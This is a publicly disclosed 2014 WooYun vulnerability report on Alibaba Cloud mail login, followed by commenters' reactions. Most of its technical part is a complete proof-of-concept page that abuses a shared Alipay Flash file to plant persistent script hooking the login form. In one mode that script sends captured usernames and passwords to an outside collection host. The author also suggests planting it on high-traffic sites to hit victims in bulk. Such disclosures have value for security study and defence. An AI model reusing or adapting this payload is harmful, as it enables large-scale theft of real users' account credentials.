当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-054102

漏洞标题：我是如何实现批量种植rootkit窃取阿里云账号密码的

相关厂商：阿里巴巴

漏洞作者： 牛奶坦克

提交时间：2014-03-20 16:18

修复时间：2014-05-04 16:19

公开时间：2014-05-04 16:19

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-20： 细节已通知厂商并且等待厂商处理中
2014-03-21： 厂商已经确认，细节仅向厂商公开
2014-03-31： 细节向核心白帽子及相关领域专家公开
2014-04-10： 细节向普通白帽子公开
2014-04-20： 细节向实习白帽子公开
2014-05-04： 细节向公众公开

简要描述：

如题，从乌云里学到的然后来找下就来报告了，求5w

详细说明：

打开 mail.aliyun.com 跳转到 https://passport.alipay.com/login/login.htm?return_url=http%3A%2F%2Fmail.aliyun.com%2Falimail%2Fauth%2FcallbackForHavana%3Freurl%3D%252Falimail%252F&fromSite=9，查找DOM可查找到https://img.alipay.com/common/um/lsa.swf?v=1，分析SWF文件可知存在与 WooYun: 一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -（埋雷式攻击附带视频演示） 报告中相同的漏洞，看来这个需要大检查啊

<html>
<head>
<style>
body{background:#000;color:#00ff00;}
a{color:#fff;}
a:visited{color:#fff;}
</style>
<meta charset="gb2312">
</head>
<body>
<script>
//flash rookit template
var siteName="阿里云邮箱";
var siteURL="http://mail.aliyun.com/";
var funcName="setCookie";
var inputs=["loginId","password","fm-login-submit"];
var rec="https://jsfile2012.appspot.com/paypalpoc?data=";
var buttonClassName="fm-button fm-submit";
var demoMethod="alert"; // 可能的值: alert(弹窗), send(发送)
</script>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
       <param name="movie" value="http://img.alipay.com/common/um/lsa.swf?v=1">
       <param name="allowScriptAccess" value="always">
       <embed name="JSocket" src="http://img.alipay.com/common/um/lsa.swf?v=1" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<center><h2>
这是一个窃取<script>document.write(siteName);</script>的XSS演示！<br/>
<br/>
<div style="width:400px;border:1px solid #00ff00;height:30px;text-align:left;">
<div id="pb" style="width:10px;background:#00ff00;height:30px;">&nbsp;
</div>
</div>
<span id="ok">&nbsp;</span>
</h2></center>
<script>
var tcount=1;
function setxss(){document['JSocket'][funcName]('_umdata','\\";location.href=\'javascript:%28function%28%29%7btry%7bfunction $n%28i%29%7bvar a=document.getElementsByName%28i%29;return a.length?a[0]:null%7d;var%20pwd=$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29;pwd.onblur=function%28%29%7bwindow.ppp=%28$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29||%7b%7d%29.value%7d;var xx=document.getElementById%28"'+inputs[2]+'"%29;xx.type=%27button%27;xx.onclick=function%28%29%7bif%28window.$s%29%7breturn true;%7delse%7bxx.setAttribute%28%27class%27,%27'+buttonClassName+'%27%29;xx.value=decodeURIComponent%28%27%25E6%25AD%25A3%25E5%259C%25A8%25E8%25BF%259B%25E5%2585%25A5...%27%29;'+(demoMethod=="alert"?('alert%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'):('new Image%28%29.src=%27'+rec+'%27+escape%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'))+'window.$s=1;setTimeout%28function%28%29%7bxx.type=%27submit%27;xx.click%28%29;%7d,5000%29;return false;%7d%7d;%7dcatch%28e%29%7b%7d%7d%29%28%29;\';//');}
//alert%28%27hooked%27%29
//function setxss(){document['JSocket'].setlso('\\";location.href=\'javascript:alert%281%29\';0//');}
function ccbar(){
	var x=setTimeout(function(){
		tcount++;
		if(tcount>=40){
			clearTimeout(x);
			document.getElementById("pb").style.width="400px";
			document.getElementById("ok").innerHTML="<br/>现在你可以作为受害者登录<a target='_blank' href='"+siteURL+"'>"+siteName+"</a>";
		}else{
			document.getElementById("pb").style.width=tcount*10+"px";
			ccbar();
		}
	},1000/24);
}
function dodo(){
	var x = setTimeout(function(){
		if(document['JSocket'][funcName]){
			clearTimeout(x);
			console.log("ok");
			setxss();
			ccbar();
		}else{
			tcount++;
			document.getElementById("pb").style.width=tcount*10+"px";
			dodo();
		}
	},100);
}
dodo();
</script>
</body>
</html>


至于利用的方式，可以在流量大的地方挂上这段代码植入rootkit

漏洞证明：

aliyun.jpg


aliyun2.png

修复方案：

版权声明：转载请注明来源 牛奶坦克@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-03-21 11:08

厂商回复：

感谢您对我们的关注和支持！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-03-20 16:22 | admin1993 ( 普通白帽子 | Rank:110 漏洞数:39 | 0101001010010100101001010010100101001010...)

    前排围观

  2. 2014-03-20 16:31 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    碉堡啊！！

  3. 2014-03-20 16:54 | 啦绯哥 ( 普通白帽子 | Rank:107 漏洞数:20 )

    5万的节奏

  4. 2014-03-20 17:03 | PanFake ( 路人 | Rank:6 漏洞数:5 | 略懂略懂)

    这个会给5W？！围观！！我觉得阿里给“免费一年阿里云”。。。哈哈~

  5. 2014-03-20 17:06 | 浮生若梦 ( 路人 | Rank:7 漏洞数:7 | 浮生若梦)

    前排围观。。等待公开！

  6. 2014-03-20 17:10 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    已收藏，感谢分享！

  7. 2014-03-20 17:17 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    呦 呦 check it now

  8. 2014-03-20 17:21 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    也不知道前面的5w兑现没~

  9. 2014-03-20 18:15 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  10. 2014-03-20 18:38 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    wocao

  11. 2014-03-20 21:22 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    坐等阿里上市成功，然后被做空……

  12. 2014-03-20 23:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    核心牛！

  13. 2014-03-21 13:16 | xss_art ( 路人 | Rank:11 漏洞数:3 | 只会弹框框的跨站师。。。。)

    这么吊。。

  14. 2014-05-25 19:20 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)

    不知道前面的5w兑现没

  15. 2014-05-26 16:15 | cursesun ( 路人 | Rank:0 漏洞数:1 | nohack)

    不知道前面的5w兑现没

  16. 2014-05-31 19:07 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)

    @admin1993 354681170250这个是啥呀

  17. 2014-05-31 19:10 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)

    @ddy 没事了，原来是010010100101001无意义的